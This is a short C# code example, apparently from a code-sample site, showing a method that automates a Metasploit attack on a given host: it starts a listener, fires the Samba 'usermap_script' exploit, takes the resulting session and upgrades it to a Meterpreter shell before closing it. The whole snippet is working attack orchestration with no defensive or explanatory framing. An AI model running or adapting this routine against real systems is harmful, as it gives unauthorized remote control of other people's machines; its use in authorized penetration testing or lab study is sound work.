コード例 #1
0
        public async Task ExploitHost(string host)
        {
            await _metasploit.Login();

            if (!_metasploit.IsAuthenticated())
            {
                return;
            }

            const string exploit = "multi/samba/usermap_script";

            _logger.LogTrace("Starting listener...");
            var result = await _metasploit.MultiHandler();

            await _metasploit.Exploit(exploit, host);

            _logger.LogTrace("Obtaining session...");
            var sessionId = await _metasploit.ObtainSession(exploit, result.JobId);

            _logger.LogTrace("Upgrading session to Meterpreter...");
            var meterpreterId = await _metasploit.ObtainMeterpreter(sessionId);

            await _metasploit.Meterpreter(meterpreterId);

            _logger.LogTrace("Closing session...");
            await _metasploit.StopSession(sessionId);
        }